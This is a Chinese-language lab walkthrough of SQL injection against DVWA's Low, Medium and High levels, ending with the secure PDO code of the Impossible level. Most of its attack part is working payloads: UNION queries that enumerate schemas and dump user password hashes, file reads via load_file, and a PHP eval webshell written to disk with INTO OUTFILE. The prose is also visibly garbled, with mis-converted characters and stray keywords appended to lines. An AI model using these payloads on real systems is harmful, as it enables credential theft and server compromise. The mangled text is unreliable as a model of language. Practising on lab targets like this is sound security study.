好多人问我sql怎么学习,我一下也说不出来。我就在此作统一的解答:
sql语句分为两种,无论怎么用仍是怎么学习主要是要理解SQL语句的基本概念,框架,原理和解决问题的思路。具体要学的的数据库是一门比较系统的学问感兴趣的能够专门去研究它。因此这也又说明了Web安全是要有必定的开发基础的,一个好的web安全工程师实际上也是一个全栈工程师。php
至于我本身就是本身搭建一个库,慢慢训练着玩。并且如今网上爆出的社工库那么多本身随变练练足够用了。前端
同样的思路先尝试是否有注入点既然是简单模式那就直接输入mysql
1'
结果回显web
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
注意sql
''1'''
可判断是mysql注入并且有字符型注入点,接下来尝试注入
尝试遍历shell
1'or'1'='1
图片1数据库
分析一下缘由安全
"SELECT first_name, last_name FROM users WHERE user_id = '1'or'1'='1' "
字符型构造的字符1永远相等,结果返回全部的firstname和lastnamesession
1'order by 1 --
注意--后面有空格
返回正常框架
图片2
当输入
1'order by 3 --
报错没有该列,
因此猜得有两个列
1' and 1=2 union select 1,2 --
返回
ID: 1' and 1=2 union select 1,2 -- First name: 1 Surname: 2
从而得出First name处显示结果为查询结果第一列的值,surname处显示结果为查询结果第二列的值,
1' and 1=2 union select user(),database() --
返回
ID: 1' and 1=2 union select user(),database() -- First name: root@localhost Surname: dvwa
1'and 1=2 union select 1,@@global.version_compile_os from mysql.user --
ID: 1'and 1=2 union select 1,@@global.version_compile_os from mysql.user -- First name: 1 Surname: Win32
1' and ord(mid(user(),1,1))=114 --
知道是admin权限
ID: 1' and ord(mid(user(),1,1))=114 -- First name: admin Surname: admin
1' and 1=2 union select 1,schema_name from information_schema.schemata --
1' UNION SELECT 1,concat(table_name) from information_schema.tables where table_schema=database()--
1' and exists(select * from users) --
表名为为admin
1' and exists(select first_name from users) --
字段名也为admin
1' and 1=2 union select first_name,last_name from users --
1' UNION SELECT 1,concat(user,0x3a,password) from users--
获得md5值的密码,到pmd5解密一下就能够获得了
Union查询结合了两个select查询结果,根据上文中的order by语句咱们知道查询包含两列,为了可以现实两列查询结果,咱们须要用union查询告终合咱们构造的另一个select.注意在使用union查询的时候须要和主查询的列数相同。
使用联合查询语句构造,利用注入读取c:\1.txt (Windows系统)
‘ UNION SELECT 1, load_file(‘c:\\1.txt’) +- -+ 或者 ‘ union select 1, load_file(‘c:\/1.txt’) +- -+
假设咱们经过phpinfo文件知道了网站的物理路径,接下来咱们经过使用union select语句来写入webshell.写入须要你有写入权限等。
‘ union select 1,’<?php eval($_POST[cmd]);?>‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +- -+ ‘ union select 1,'<?php eval($_POST[cmd]);?>’ into outfile ‘c:\\2.php’+- -+
为了节约时间看看源码
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . mysqli_connect_error() . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
分析:以发现,这里对用户输入的id参数进行了过滤,主要方法是使用了mysql_real_escape_string()函数,这个函数能够将$id变量中的单引号’、双引号”、斜杠\等字符进行转义,于是咱们再输入以前的“’or 1=1 #”就会报错了,从错误提示中能够发现单引号’已经被转义成了’,于是注入语句没法发挥做用。
须要说明的是,在PHP中还有一个与mysql_real_escape_string()功能相似的函数:addslashes(),这两个函数的功能都是对特殊字符进行转义,那么到底用哪一个函数更好一些呢?百度了一下,发现你们也是各执一词。有人说mysql_real_escape_string()函数须要事先链接数据库,可能会报错,因此推荐使用addslashes();也有的人说addslashes()过滤不够严格,推荐使用mysql_real_escape_string()。在DVWA中很明显是推荐使用mysql_real_escape_string(),那么咱们就相信DVWA好了。
下面咱们分析一下这里该如何绕过过滤,继续进行注入呢?咱们再仔细观察一下源码,能够发现参数id已经被改成了数字型,第三行语句中“user_id = $id”,而以前的low级别是“user_id = ‘$id’”,其实这就是DVWA故意留下的一个漏洞。
值得一提的是虽然前端使用了下拉选择菜单,但咱们依然能够经过抓包改参数,提交恶意构造的查询参数。
抓包更改参数id为
1′ or 1=1 #
1 order by 2 # 1 order by 3 #
1 union select 1,2 #
1 union select 1,database() #
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
同样代码审计:
<?php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;"; $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Get values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" ); // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // Increase loop count $i++; } mysql_close(); } ?>
分析:与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,但愿以此控制只输出一个结果。然而并无什么卵用。虽然添加了LIMIT 1,可是咱们能够经过#将其注释掉。因为手工注入的过程与Low级别基本同样。
最后
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
值得一提的是:High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样作的目的是为了防止通常的sqlmap注入,由于sqlmap在注入过程当中,没法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
代码审计
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
能够看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防护SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提升了安全性。